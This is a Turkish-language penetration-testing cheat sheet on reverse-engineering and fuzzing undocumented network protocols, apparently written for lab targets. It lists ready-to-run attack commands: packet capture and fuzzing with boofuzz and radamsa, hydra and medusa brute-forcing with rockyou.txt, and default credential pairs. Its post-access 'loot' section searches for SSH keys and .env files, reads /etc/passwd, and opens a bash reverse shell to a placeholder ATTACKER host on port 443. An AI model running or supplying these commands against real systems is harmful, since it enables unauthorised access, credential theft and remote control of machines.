Custom Protocols
Custom proto fuzz
Dokümantasyonsuz TCP/UDP protokolleri banner, replay ve fuzz ile kırılır. Amaç auth bypass veya RCE primitifleri. Hedef lab IP’si üzerinde komutları 80 portuna göre uyarla; her başarıyı ayrı kanıtla.
Metodoloji
Section titled “Metodoloji”-
Port/handshake yakala.
-
Mesajları ayrıştır.
-
Mutation fuzz.
-
Interesting crash/logic.
Yakala
Section titled “Yakala”sudo tcpdump -ni tun0 -w proto.pcap host TARGETnc -nv TARGET PORTpython3 -c 'import socket;s=socket.create_connection(("TARGET",PORT));print(s.recv(4096))'Replay/Fuzz
Section titled “Replay/Fuzz”boofuzz --helppython3 fuzz.py TARGET PORTradamsa seed.bin | nc TARGET PORTAnaliz
Section titled “Analiz”wireshark proto.pcap010editor / Ghidra on client binaryDerin enum
Section titled “Derin enum”Custom Protocols için ek keşif ve fingerprint.
nmap -Pn -sV -sC -p80 TARGETnmap -Pn -p80 --script safe,discovery TARGETtimeout 5 bash -c 'echo | openssl s_client -connect TARGET:80' 2>/dev/null | headpython3 -c "import socket;s=socket.create_connection(('TARGET',80));s.settimeout(3);print(s.recv(4096))"Banner / TLS / ALPN notları → Custom ProtocolsKimlik & brute (ek)
Section titled “Kimlik & brute (ek)”hydra -L users.txt -P rockyou.txt -s 80 PROTOCOL://TARGET -t 4medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 80nmap -p80 --script '*-brute' TARGETadmin/admin, root/root, guest/(boş), test/testExploit arama
Section titled “Exploit arama”searchsploit Custom protomsfconsole -q -x 'search Custom proto; exit'nuclei -u https://TARGET:80 -t cves/ -silent -severity || truenuclei -u http://TARGET:80 -tags tech -silent || trueManuel protokol
Section titled “Manuel protokol”nc -nv TARGET 80printf '' | timeout 3 nc -nv TARGET 80curl -vk --http1.0 http://TARGET:80/Wireshark/tcpdump ile konuşmayı kaydet; replay denePost-erişim & loot
Section titled “Post-erişim & loot”config, key, session, env, backupfind / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | headss -lntp; ip a; cat /etc/passwd | headbash -i >& /dev/tcp/ATTACKER/443 0>&1mkdir -p loot && tee loot/notes.txtOperasyon checklist
Section titled “Operasyon checklist”[ ] Fingerprint / sürüm[ ] Auth ve anonim erişim[ ] PoC etki gösterildi[ ] Credential/shell paketlendi[ ] Pivot notuZincir
Section titled “Zincir”pcap → parser → fuzz → crash/logic bug → exploit